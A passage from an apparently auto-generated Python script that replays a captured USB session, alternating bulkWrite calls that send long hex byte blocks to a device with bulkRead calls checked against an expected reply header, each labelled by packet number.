b\"\\x4B\\x8D\\x39\\x35\\xE4\\x15\\xAF\\x14\\x2F\\x10\\x52\\xEA\\x2C\\xD9\\x7A\\xAD\"\n b\"\\xD9\\x5C\\xC8\\x09\\x13\\xC0\\xC5\\x95\\x06\\x03\\x77\\x1D\\xD9\\xBC\\xA7\\x18\"\n b\"\\x6D\\x20\\x07\\x1E\\x8C\\x8B\\xBC\\xBE\\xA6\\x5A\\xC6\\x81\\x8B\\x97\\xAB\\x9D\"\n b\"\\x7B\\xE9\\xA5\\x2A\\xCD\\x64\\x52\\x42\\xD0\\x28\\x01\\x39\\x82\\xFA\\xBE\\x75\"\n b\"\\xB8\\xAF\\x75\\xFC\\x38\\xBE\\xC0\\x55\\xD8\\xC7\\x7C\\xB4\\x4F\\xDB\\x7D\\x44\"\n b\"\\x13\\x6B\\x32\\xC7\\x07\\x3D\\x74\\xCA\\x5D\\x32\\xDD\\x19\\x2B\\x83\\xDB\\x23\"\n b\"\\xB1\\x10\\x6C\\xBB\\xE0\\xEC\\x7A\\xAB\\x41\\x04\\x1D\\x73\\xBB\\x8F\\xB3\\x12\"\n b\"\\x4C\\xB9\\x96\\x66\\xC0\\x5B\\xD9\\xBC\\x49\\x93\\xD6\\x10\\x15\\x14\\xCB\\x30\"\n b\"\\xBC\\x00\\xB0\\xE6\\x9D\\xC7\\x55\\xE2\\x58\\x2F\\xE2\\x87\\x35\\xC2\\x34\\x46\"\n b\"\\xEC\\xBA\\xBC\\x1A\\xD3\\xFD\\x16\\xDD\\x13\\x7C\\x60\\x7E\")\n # Generated from packet 2539/2540\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2539/2540\")\n # Generated from packet 2541/2542\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x87\\x51\\xF3\\x58\\xBE\\x7C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xCE\\xDD\\x54\\xB5\\xE3\\x7C\\x59\\xBC\"\n b\"\\x27\\x28\\x38\\x35\\x58\\x2A\\xC0\\x90\\xAA\\xF2\\xE3\\xE4\\x5E\\x9A\\x93\\x8D\"\n b\"\\x78\\x0D\\x99\\x6B\\x1F\\xEA\\x78\\x34\\xAA\\x5B\\x88\\x80\\x23\\x65\\xCC\\x1C\"\n b\"\\x4F\\x9F\\xDB\\xEA\\x4E\\xFA\\x37\\x5C\\xC9\\x21\\xA3\\xB9\\xF0\\xC0\\xB0\\x4C\"\n b\"\\x15\\x77\\x58\\x3D\\x1F\\x73\\xB0\\x3D\\xF1\\x3A\\x76\\x16\\x6B\\x62\\x8E\\x1C\"\n b\"\\x29\\x58\\x23\\xE4\\xD9\\x4B\\x0B\\xC9\\x20\\x8E\\x74\\x69\\x9A\\x96\\x6A\\xF5\"\n b\"\\x01\\x3D\\x74\\x34\\x66\\x68\\x24\\x4E\\x2C\\xA1\\x94\\x94\\x09\\x2D\\x0A\\x73\"\n b\"\\xEC\\xED\\x58\\x31\\x51\\x2D\\xD5\\x69\\x61\\x60\\x3A\\xA5\\x80\\x79\\x9B\\x2E\"\n b\"\\x67\\x01\\x0A\\x46\\xBA\\xA0\\x59\\xEF\\x84\\x50\\x2F\\xF3\\x5B\\x85\\x65\\x76\"\n b\"\\x13\\xF5\\x05\\xC5\\x4D\\xC6\\x14\\x4D\\x6F\\x26\\x02\\xDB\\x6D\\x1F\\x46\\x70\"\n b\"\\x52\\xA5\\x23\\x1E\\xF2\\x47\\xBB\\xDD\\xF2\\xB0\\x5B\\x10\\x9F\\xBE\\x5A\\xFF\"\n b\"\\x2F\\x32\\x96\\x72\\x65\\xC9\\x5E\\xD2\\xD7\\x17\\x43\\x08\\xD3\\xBF\\xDB\\x5D\"\n b\"\\xF4\\x7E\\xFD\\x92\\x53\\xBF\\x2F\\x3A\\x9B\\xD7\\xE4\\x1E\\xA2\\x89\\x2F\\xC4\"\n b\"\\x35\\x4D\\x70\\xBC\\x68\\xBC\\x00\\x87\\x96\\x5B\\x87\\xD3\\x4D\\x03\\x21\\x3F\"\n b\"\\xD9\\xFB\\xE8\\x39\\x35\\x82\\x0A\\xF3\\x9D\\x82\\xA8\\xDC\\x81\\x21\\xC4\\x8A\"\n b\"\\x36\\xD5\\x80\\x6C\\xA2\\x29\\x6F\\xF8\\x28\\x3C\\xF1\\x2D\\xFF\\x3C\\x12\\x6E\"\n b\"\\xE8\\x55\\xA8\\xD7\\xE3\\x0F\\xDA\\xDA\\xB5\\xB5\\x6E\\x03\")\n # Generated from packet 2543/2544\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2543/2544\")\n # Generated from packet 2545/2546\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA8\\xF8\\x05\\x43\\x65\\x3B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD4\\x11\\x83\\xEE\\xC1\\xC1\\xB6\\xCA\"\n b\"\\x2B\\xDD\\xEF\\x55\\x1E\\x87\\xF7\\x3E\\xAA\\x02\\x26\\x60\\x92\\x74\\xF4\\xF7\"\n b\"\\xFF\\x38\\x48\\xCF\\x0C\\x64\\x62\\x0A\\xBE\\xDB\\x65\\x92\\xED\\x1F\\x85\\xD3\"\n b\"\\x8A\\x9A\\x51\\x2D\\x03\\xAC\\x5A\\x05\\x85\\xAD\\xF4\\x0A\\xC0\\x7F\\xAB\\xA5\"\n b\"\\x65\\x68\\x27\\x3F\\xA6\\x35\\xD0\\x8B\\x95\\xE1\\x35\\xBD\\x04\\x7B\\xE4\\x1E\"\n b\"\\x93\\xA5\\x57\\x0C\\x43\\xF4\\x50\\xC8\\x4F\\x8A\\xE8\\x04\\xB3\\x16\\xF0\\xEB\"\n b\"\\xBA\\xB2\\xC4\\x82\\x62\\x19\\xF6\\x5C\\xDB\\xC0\\x09\\x1B\\x01\\xC5\\x28\\x47\"\n b\"\\x76\\x08\\x77\\xD8\\x26\\x94\\xF9\\x0D\\xED\\x54\\x2C\\x0C\\x98\\x7F\\xD3\\x0F\"\n b\"\\xA8\\x97\\x03\\x32\\x36\\x90\\x84\\x65\\x5A\\xA5\\xE9\\x71\\x04\\x71\\xDB\\x00\"\n b\"\\x56\\x74\\x6C\\x78\\x6F\\x00\\x74\\xD2\\xAA\\xAD\\x09\\xFB\\x4C\\x89\\xB3\\x12\"\n b\"\\xBB\\xAF\\x37\\x66\\x81\\x97\\xBF\\x64\\x1D\\x34\\x34\\xD2\\xF1\\xB3\\xDB\\x00\"\n b\"\\x5D\\x5C\\x1D\\xC6\\xB2\\x35\\x40\\x62\\xF8\\x3D\\x86\\xBA\\xC4\\x65\\x63\\xA6\"\n b\"\\xAF\\x55\\x6B\\x25\\x4C\\x68\\x5C\\x13\\x52\\x43\\x95\\x9E\\xF6\\x71\\xB3\\xB0\"\n b\"\\x02\\x5C\\x06\\x3A\\x8A\\x37\\x2C\\xB7\\xDD\\x85\\xFD\\x56\\xCA\\x3F\\xCD\\x4D\"\n b\"\\x45\\x1C\\x3A\\x14\\x4E\\x3E\\x32\\x4F\\x6A\\x29\\x94\\x6D\\x30\\xBB\\x08\\xDC\"\n b\"\\x27\\x20\\x0B\\xE1\\x9F\\xD7\\xCF\\x48\\xE8\\x7F\\x4E\\x57\\x0E\\x3B\\xB5\\x05\"\n b\"\\x40\\x48\\xE7\\x66\\x04\\xA0\\x1D\\x00\\x33\\x88\\xB3\\x1C\")\n # Generated from packet 2547/2548\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2547/2548\")\n # Generated from packet 2549/2550\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x36\\x63\\xFE\\x2A\\x27\\x7C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0B\\x94\\x83\\x96\\xD8\\xBA\\x91\\xCE\"\n b\"\\xD3\\xBD\\xA5\\x7D\\x49\\xB1\\x10\\x5F\\x43\\x0D\\x02\\x73\\x83\\x76\\x28\\x0A\"\n b\"\\xCD\\x3A\\x33\\x88\\x37\\x57\\xF8\\x27\\x0A\\x75\\x8B\\x08\\x57\\x7B\\xDE\\x73\"\n b\"\\x1B\\x2F\\x37\\x4C\\xE0\\x42\\x90\\x45\\xDE\\x36\\x29\\x05\\xE7\\x89\\x9F\\xDC\"\n b\"\\xDF\\x37\\x56\\x39\\x99\\xD9\\xBF\\x1D\\x4A\\x6F\\xEA\\x52\\x32\\x7E\\x7D\\xE5\"\n b\"\\x30\\x64\\x73\\x61\\x57\\xE9\\xFE\\x8E\\xE3\\xC1\\x5A\\x38\\x9C\\x81\\x43\\x69\"\n b\"\\x82\\x21\\x97\\xC7\\x4E\\x09\\x9E\\x21\\xE4\\x6A\\xB9\\x20\\x12\\x54\\x74\\x6F\"\n b\"\\x83\\x0C\\xE8\\x7C\\xF2\\xB4\\x71\\xFF\\xCB\\x73\\x7E\\x82\\x57\\x14\\x73\\xA6\"\n b\"\\x71\\x45\\x8F\\x0A\\xE9\\x9D\\x69\\xC9\\xD2\\xA5\\x5C\\x0D\\x39\\xF1\\xFE\\x3E\"\n b\"\\x7D\\xFD\\x17\\x52\\xB9\\x4F\\xA6\\x51\\x8C\\xF1\\x21\\x33\\xF6\\xCA\\x43\\xFF\"\n b\"\\x8C\\xB8\\x35\\xFB\\xC0\\xF7\\xC0\\x3E\\x05\\x12\\x30\\xEB\\x10\\xB3\\xAA\\xE7\"\n b\"\\x19\\x9F\\xD5\\xB3\\xC6\\xE8\\x82\\x03\\xA7\\xDF\\x11\\x18\\x48\\x96\\x16\\x94\"\n b\"\\xC5\\x3F\\x09\\xD6\\x80\\xDB\\x12\\xF7\\x7E\\x1D\\x82\\x8A\\xBC\\x41\\x6B\\xB8\"\n b\"\\x6F\\x6A\\x9D\\xC9\\xCD\\xC8\\x05\\x03\\xC1\\xA1\\xCA\\x73\\x78\\x57\\x47\\xB0\"\n b\"\\xDD\\x0B\\x90\\xAD\\x94\\x2F\\x71\\x38\\x68\\xA4\\x9C\\xFF\\x22\\x02\\x77\\xE0\"\n b\"\\x96\\xBC\\x82\\xE1\\x2F\\x30\\x68\\x4B\\x35\\x54\\xC2\\xE6\\xA6\\xCD\\xC5\\x57\"\n b\"\\xA4\\x80\\xCB\\xA7\\x18\\xBA\\xF8\\x20\\x80\\x2F\\x33\\x17\")\n # Generated from packet 2551/2552\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2551/2552\")\n # Generated from packet 2553/2554\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF0\\xB7\\xEB\\xF8\\x2A\\x5D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0C\\xC3\\x7B\\xE7\\x4E\\x5D\\x51\\x35\"\n b\"\\x82\\x6B\\xCB\\x76\\x5B\\x90\\x14\\xA7\\xE9\\xBD\\x7E\\x0D\\x6E\\x7D\\x90\\x9E\"\n b\"\\x25\\x73\\x03\\xCB\\x1A\\x0E\\x3E\\x95\\x87\\x59\\xB3\\x46\\x90\\x71\\xC1\\x35\"\n b\"\\xFB\\x9D\\x9E\\x06\\x61\\x41\\xAB\\x99\\x96\\x36\\xAB\\x22\\x8A\\x5E\\xFE\\x76\"\n b\"\\xD2\\xDE\\xDA\\xDD\\x1B\\x06\\xDD\\xC6\\xE6\\x47\\x29\\x99\\xE8\\xF9\\xB9\\xAC\"\n b\"\\x23\\x4D\\xDA\\xB3\\x39\\x1C\\xAE\\xD5\\x64\\x51\\xDB\\x7C\\xF4\\x25\\xA8\\x3C\"\n b\"\\xAA\\x9D\\x1F\\x0C\\x98\\xD7\\xE4\\x3B\\x5D\\x65\\xC2\\xF8\\x4C\\x6E\\x3D\\xB0\"\n b\"\\x81\\x60\\x11\\x6F\\x3C\\x86\\xBF\\xB4\\x2E\\xC9\\x45\\x11\\x27\\x1C\\x24\\x57\"\n b\"\\xEF\\x3B\\xDE\\x2D\\x3A\\xF3\\x5E\\x00\\xCC\\x4C\\x59\\xC7\\xCF\\xA6\\xB3\\x0C\"\n b\"\\x2C\\xAC\\x2B\\x46\\x11\\xDB\\x78\\xB5\\xFF\\x13\\x13\\xFD\\x97\\xAD\\x53\\x39\"\n b\"\\xCE\\x8D\\x8E\\x68\\x4F\\x49\\x6A\\x6B\\x2E\\x1D\\x3C\\xEB\\x82\\xA0\\x6C\\xDE\"\n b\"\\x06\\x20\\x10\\x99\\x31\\x42\\xA5\\x4D\\xE9\\x21\\x57\\xFF\\x95\\x55\\xA7\\xCC\"\n b\"\\xD7\\x52\\x73\\xBE\\x20\\x00\\xDC\\xEF\\xA9\\xF9\\x96\\x20\\xF3\\xC3\\x41\\x91\"\n b\"\\x27\\xC0\\x5A\\x84\\x1D\\x87\\x66\\x3F\\x7D\\x1E\\x80\\x24\\xDF\\x7F\\x49\\x6B\"\n b\"\\x4C\\x60\\x56\\x26\\xA3\\xEE\\x88\\xB3\\x75\\x4D\\x5F\\xBC\\x7A\\x5E\\x48\\xCB\"\n b\"\\x7A\\xE5\\xD4\\xC3\\x53\\x8D\\x34\\x92\\xC2\\xE0\\x67\\x3D\\xCF\\x76\\x39\\x45\"\n b\"\\x03\\x26\\x8C\\x3E\\xBD\\x70\\x58\\x0A\\xA1\\xC6\\xDF\\x9B\")\n # Generated from packet 2555/2556\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2555/2556\")\n # Generated from packet 2557/2558\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x5B\\x29\\x86\\x1B\\xF6\\x43\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x21\\x27\\xC7\\x15\\x0E\\x49\\x13\\xEC\"\n b\"\\xDA\\x30\\x10\\x0B\\x93\\x05\\x45\\x5A\\xAA\\xD7\\xC8\\xE2\\xF5\\x19\\x24\\xE3\"\n b\"\\x48\\xA7\\x42\\xF1\\x56\\x1C\\x18\\x04\\xA7\\x81\\x55\\xD6\\xF6\\xF4\\x32\\x8E\"\n b\"\\x6A\\xFA\\x08\\x63\\x40\\x45\\xBB\\x77\\x45\\x6F\\x87\\xD1\\xA6\\x5F\\x02\\x3C\"\n b\"\\xA7\\x23\\x6D\\x78\\x4D\\x15\\x18\\x50\\x43\\x5C\\x31\\x36\\xF8\\x00\\x2D\\x26\"\n b\"\\xA6\\x15\\x41\\x51\\x0D\\x46\\xC0\\x5E\\x55\\x66\\xA9\\x8F\\xC8\\xCD\\x5E\\x82\"\n b\"\\x35\\x9B\\x24\\x91\\x4A\\xE3\\x98\\x64\\xA0\\x47\\xEC\\x3C\\x2E\\x35\\x34\\x78\"\n b\"\\x9A\\x73\\x66\\x0D\\xAC\\x17\\x0A\\x2E\\xC8\\x36\\xA8\\xD2\\x7D\\x7A\\x60\\x7E\"\n b\"\\x50\\xEA\\x30\\x4A\\xA8\\xD1\\xE5\\xF1\\x55\\xB8\\x49\\x5D\\x1A\\xC4\\x0E\\x30\"\n b\"\\xEB\\x55\\xD2\\xFC\\x64\\x1A\\x0E\\xFC\\x9D\\x56\\xC3\\x5A\\xB5\\x08\\x38\\x16\"\n b\"\\x8E\\x0E\\xF8\\xB1\\x20\\x35\\x21\\xAC\\xC7\\x5C\\x90\\xA2\\xFF\\x50\\x3A\\x5A\"\n b\"\\xE1\\xA4\\x7A\\x10\\x3F\\xFA\\xFC\\xEA\\x42\\x47\\x16\\x2B\\x1D\\x39\\x80\\x3C\"\n b\"\\x41\\x6E\\x39\\x7D\\xF3\\x6A\\x5D\\x66\\x38\\x35\\x0B\\xAE\\xEB\\x3F\\x9C\\xBD\"\n b\"\\xC7\\xD9\\xE6\\x8D\\x6A\\x94\\xB3\\xBB\\x11\\x53\\x2C\\xFB\\xDB\\x98\\x0D\\x57\"\n b\"\\xE7\\x92\\x34\\x80\\x34\\xE4\\xAC\\xE9\\xA9\\x2E\\x93\\xD2\\xC5\\x54\\xEF\\x36\"\n b\"\\xDE\\x39\\x6A\\xC9\\x26\\x61\\xD5\\xE9\\x70\\xA2\\x33\\x87\\xFA\\x60\\xDF\\xF7\"\n b\"\\xD8\\x29\\x5B\\xBE\\xFF\\x6F\\x12\\x61\\x05\\xCE\\x2B\\x97\")\n # Generated from packet 2559/2560\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2559/2560\")\n # Generated from packet 2561/2562\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x20\\x52\\x11\\x25\\x07\\x57\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x50\\xFE\\xDE\\x95\\x34\\x8E\\x6B\\xE3\"\n b\"\\xCB\\xFF\\xB3\\x04\\xC2\\xE4\\xD7\\x60\\x8F\\x80\\xC1\\x16\\xCE\\x7A\\x6E\\x8C\"\n b\"\\xE8\\x04\\x70\\x95\\x05\\x8B\\x20\\x0F\\x1A\\x57\\xAC\\xBC\\xDF\\xDD\\xAC\\x14\"\n b\"\\x04\\x4B\\xEE\\x93\\x64\\x23\\x56\\x51\\x20\\x49\\x9C\\x3D\\x26\\x38\\xB8\\x9C\"\n b\"\\xA1\\xA0\\x54\\x56\\x10\\x3C\\xD6\\x9D\\x02\\xF4\\x97\\x7D\\x41\\xA5\\x8D\\xD3\"\n b\"\\x45\\x88\\x0A\\xCF\\xC9\\x81\\xE3\\x0D\\xF5\\x74\\xF6\\x3E\\xB3\\x94\\xA1\\x48\"\n b\"\\xDA\\x95\\xE4\\xF1\\x95\\x05\\xA0\\x1D\\x7D\\xB8\\x42\\x24\\x35\\xF9\\xC3\\xDF\"\n b\"\\x2A\\x11\\x01\\x53\\x1C\\x2A\\x20\\x6B\\xAC\\x02\\xE0\\xD2\\x84\\x68\\xAC\\xF0\"\n b\"\\xD2\\x92\\xDA\\x83\\x32\\x1F\\x5A\\xA0\\x25\\x7F\\x41\\xA2\\x97\\xF7\\x08\\x04\"\n b\"\\x00\\xA4\\x0E\\xC0\\x3A\\x42\\xE4\\x8E\\xC3\\xEA\\x9E\\xFD\\x32\\x6F\\xC0\\x57\"\n b\"\\x4F\\x7D\\x14\\x81\\x65\\x28\\x48\\x26\\x7F\\xBE\\x99\\xC0\\x3E\\x2D\\xAD\\x0A\"\n b\"\\x45\\x19\\x4E\\x54\\xD7\\x3E\\x16\\xED\\x11\\x5D\\x73\\x77\\x13\\xC0\\x75\\x82\"\n b\"\\x2C\\x2A\\x0A\\xA3\\x22\\x97\\xA6\\x5D\\xA8\\x15\\xCF\\x6C\\xB6\\x2C\\x42\\x34\"\n b\"\\x8B\\x63\\x9E\\x50\\x23\\xC7\\x60\\x90\\xF8\\xF9\\xC4\\x44\\x99\\x09\\xEB\\xC9\"\n b\"\\xFC\\x84\\x51\\x51\\x08\\xA3\\x6F\\xCB\\x04\\x90\\x8B\\x8F\\xD4\\xD9\\xDF\\xCC\"\n b\"\\x39\\xCE\\x7A\\x74\\x3F\\x50\\x1A\\x83\\x11\\x98\\x5E\\x00\\x6D\\xAC\\xDB\\x36\"\n b\"\\xA1\\x88\\x13\\x50\\x54\\xD8\\x35\\x33\\x21\\x09\\x7E\\x84\")\n # Generated from packet 2563/2564\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2563/2564\")\n # Generated from packet 2565/2566\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x28\\xB5\\x13\\xE9\\xAD\\x58\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x65\\xBA\\xBE\\x34\\xF7\\xD9\\xAD\\xEF\"\n b\"\\x4C\\xF1\\x9E\\x39\\x9C\\x7E\\xC4\\xEA\\xB2\\x63\\x76\\xC6\\xD3\\x2F\\xB0\\x23\"\n b\"\\xBE\\xC4\\xCB\\x57\\xE1\\xCB\\xDE\\x15\\xBF\\x86\\x06\\x97\\xAC\\xB6\\xCD\\x42\"\n b\"\\xCD\\x46\\xC7\\x44\\x81\\xB2\\x18\\x72\\xAB\\x69\\x94\\x93\\xB7\\x12\\x85\\x97\"\n b\"\\x73\\xCF\\x73\\x2B\\xEB\\xC3\\xAA\\xEC\\x78\\x8C\\x80\\xB2\\xA3\\x95\\x5E\\x2A\"\n b\"\\xE9\\x0A\\x4B\\x41\\xB2\\x24\\x7F\\x28\\xF4\\xA4\\x45\\xCC\\xF0\\x4C\\xED\\x7C\"\n b\"\\x1D\\xB3\\x9F\\x9E\\x37\\x98\\x90\\x43\\x7B\\xCC\\x6B\\xD5\\xC9\\xDC\\xF3\\xD1\"\n b\"\\xE2\\xD7\\x34\\x11\\x0B\\xDC\\x3A\\x90\\x54\\x61\\xBA\\xCF\\xA9\\xBB\\x97\\xD2\"\n b\"\\xB3\\x45\\xB0\\x26\\xCD\\x27\\x8B\\xC6\\x5C\\xE3\\xA0\\xA5\\xAE\\x25\\x5D\\xFE\"\n b\"\\x82\\x94\\x83\\x8A\\xBD\\x7D\\x68\\x5B\\x7C\\xB2\\x3D\\x65\\xAF\\x8E\\x80\\xDC\"\n b\"\\x73\\x9C\\x2A\\x58\\xDB\\xD6\\x0A\\x9F\\x5E\\xBE\\x8E\\x6F\\x45\\x41\\x37\\x72\"\n b\"\\x90\\x52\\xFE\\xAE\\x5F\\xFD\\x9D\\x5A\\xE9\\x5E\\x31\\xB9\\x5A\\x91\\x4F\\xF5\"\n b\"\\xD4\\xDF\\x27\\x38\\xCC\\xDE\\x18\\x48\\x3E\\x6B\\xD3\\xF4\\x9A\\xA0\\x1D\\x4A\"\n b\"\\x4E\\xEF\\x95\\x06\\xCB\\x02\\xE8\\xE1\\xDB\\xCE\\x75\\x46\\x67\\x3F\\x45\\x17\"\n b\"\\xEB\\xB5\\xAB\\xBA\\x28\\xAE\\x3D\\x90\\x99\\x31\\x13\\x0E\\x69\\x21\\x86\\xAF\"\n b\"\\x44\\xFA\\x20\\x06\\xA5\\xED\\x2B\\x70\\x1A\\xA9\\x2B\\x6E\\x1F\\xE6\\x74\\x26\"\n b\"\\x31\\xBC\\x2E\\x9A\\x95\\xDC\\x90\\xF5\\xEA\\x57\\x02\\xE8\")\n # Generated from packet 2567/2568\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2567/2568\")\n # Generated from packet 2569/2570\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xFA\\x01\\xF4\\xF0\\xA1\\x2F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x32\\x23\\x04\\x8B\\x83\\xAB\\x9D\\x4D\"\n b\"\\xEA\\x62\\x56\\xF7\\xE6\\xC5\\x0F\\x2E\\xE4\\xAA\\x95\\xAD\\x8C\\x51\\x6F\\xEE\"\n b\"\\x30\\xCF\\x17\\x1E\\xD5\\xD0\\x61\\xA8\\xD7\\x08\\xF0\\xE1\\x6B\\x1C\\xC0\\x73\"\n b\"\\x62\\x6C\\x78\\x82\\x98\\xA9\\x8F\\xF4\\xF0\\x97\\xD4\\x1B\\xA3\\x83\\x68\\x45\"\n b\"\\xA5\\x26\\xEA\\x7C\\xD9\\x13\\x34\\xA5\\x43\\x96\\xF3\\x34\\xA6\\x99\\x4C\\xE4\"\n b\"\\xEC\\x5E\\xBF\\x6D\\xFE\\x7C\\xF8\\x47\\x27\\x3F\\x5C\\x5A\\xD8\\x3D\\xBD\\x83\"\n b\"\\xE8\\x1D\\x3E\\x3B\\x4A\\xE9\\x20\\xFF\\xE0\\xF7\\x59\\xEF\\x92\\x9E\\x15\\xB0\"\n b\"\\x71\\x14\\x6A\\xFF\\x9B\\x71\\xB9\\xAC\\xB2\\xC2\\x56\\x97\\x19\\x89\\x4B\\x98\"\n b\"\\xD1\\x2F\\x98\\xF6\\x28\\xD2\\x91\\xF5\\xA6\\x49\\x7A\\xB8\\xBC\\x27\\xC0\\x66\"\n b\"\\x27\\xB5\\xB4\\x32\\x01\\xC8\\x2C\\x3F\\x88\\x09\\xB4\\x4E\\x93\\x39\\x75\\x78\"\n b\"\\x27\\xDE\\xB2\\x6B\\xAB\\x61\\x5D\\x7F\\x13\\x9B\\xFE\\x89\\xEF\\x93\\xC2\\x14\"\n b\"\\x33\\xF8\\xC0\\x87\\xDD\\x62\\x54\\x0F\\xB0\\x73\\xD9\\xC1\\x4D\\xB5\\x13\\xB0\"\n b\"\\xE3\\x8A\\x5F\\xCC\\x44\\x00\\x40\\x11\\x9D\\x71\\xA8\\xB3\\xC6\\x51\\xC2\\xEE\"\n b\"\\x64\\xC5\\x5A\\xA0\\x7A\\x13\\x47\\x6C\\x0D\\xDA\\x5D\\x7A\\x65\\xEE\\x75\\x0F\"\n b\"\\x17\\x7F\\x7E\\xA1\\x2F\\x69\\x9B\\xAA\\x67\\x49\\x84\\x51\\x49\\x59\\xA9\\x8C\"\n b\"\\x37\\x36\\xD7\\xC7\\xC6\\x3B\\xBC\\xA6\\x30\\x10\\x71\\x3E\\x63\\x06\\x7A\\x2A\"\n b\"\\x98\\x9E\\x5D\\xE6\\x0D\\x0F\\xFD\\xFB\\x4E\\xF6\\x73\\xCB\")\n # Generated from packet 2571/2572\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2571/2572\")\n # Generated from packet 2573/2574\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x7E\\xCB\\xB0\\xE1\\xBE\\x31\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x77\\xEE\\xAD\\xE7\\x8A\\x0B\\xB5\\x40\"\n b\"\\xD8\\x70\\xDD\\x85\\x21\\xB8\\x78\\xBF\\x7D\\xB6\\xDE\\x2D\\xA8\\x3E\\x42\\x8F\"\n b\"\\x48\\x65\\x9F\\xE0\\xCF\\x99\\x13\\x04\\xBE\\xE1\\x3F\\x0E\\x87\\x76\\x78\\x7C\"\n b\"\\xCD\\x56\\x57\\xCA\\xDE\\xF7\\x1D\\xC8\\x5C\\xC1\\x92\\xA1\\xDF\\x5C\\xB4\\xAD\"\n b\"\\xAC\\x88\\xBE\\xCA\\xE4\\xA1\\x7C\\xE2\\x84\\x12\\x94\\xB9\\xD4\\x26\\xE4\\xAE\"\n b\"\\xB7\\x83\\xFB\\x0C\\x58\\x2B\\x39\\x0F\\xA2\\xAE\\xB7\\x64\\xB2\\x79\\xB8\\xB9\"\n b\"\\xA7\\xA1\\x3A\\x28\\x51\\xA6\\xC1\\x71\\x15\\xA9\\xD8\\x60\\x73\\x0E\\x5A\\x60\"\n b\"\\x39\\xC7\\xD2\\x80\\xCD\\xFA\\x0D\\x2A\\x08\\x2E\\x04\\x92\\x11\\x73\\x5E\\x41\"\n b\"\\x87\\xDC\\x1B\\xBC\\x3C\\x0F\\x08\\x2B\\x28\\xB5\\x02\\x17\\x7E\\xEB\\xBA\\x77\"\n b\"\\x4B\\xC8\\x23\\x3D\\x8B\\x26\\xB9\\xB9\\x47\\x4B\\xAC\\x2E\\x6B\\xBD\\x84\\x07\"\n b\"\\x43\\x4F\\xA7\\x2F\\xE9\\xBE\\x52\\x75\\x4E\\x6D\\x40\\xBC\\x40\\x63\\x7C\\xB2\"\n b\"\\x0A\\x9E\\x97\\xB3\\x49\\x89\\x8F\\x31\\x3B\\x07\\x3E\\xB4\\x93\\x9A\\x9A\\x03\"\n b\"\\x58\\x91\\x94\\x97\\x56\\x3B\\xC0\\x79\\xA9\\x61\\x88\\xF4\\xF4\\xAF\\x8A\\xCF\"\n b\"\\x8B\\xD9\\xE5\\xA7\\xE2\\x20\\xFE\\x5E\\xA5\\x36\\xD1\\xC5\\x21\\x01\\xB3\\x8E\"\n b\"\\x94\\x68\\xAF\\x49\\x15\\x6F\\xDA\\x15\\x54\\x3A\\xC3\\x87\\x64\\xC6\\xA8\\x78\"\n b\"\\x7D\\x73\\x4A\\xCC\\x2C\\x20\\x1E\\xBE\\x90\\x90\\x69\\x19\\x24\\xCF\\x6A\\x8B\"\n b\"\\xED\\x30\\xAD\\x18\\x22\\x2E\\x6F\\xD5\\xFF\\x78\\x63\\x24\")\n # Generated from packet 2575/2576\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2575/2576\")\n # Generated from packet 2577/2578\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x28\\x4F\\x24\\xF7\\x65\\x06\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA2\\xE7\\x09\\xDE\\x4E\\x31\\x9E\\xC7\"\n 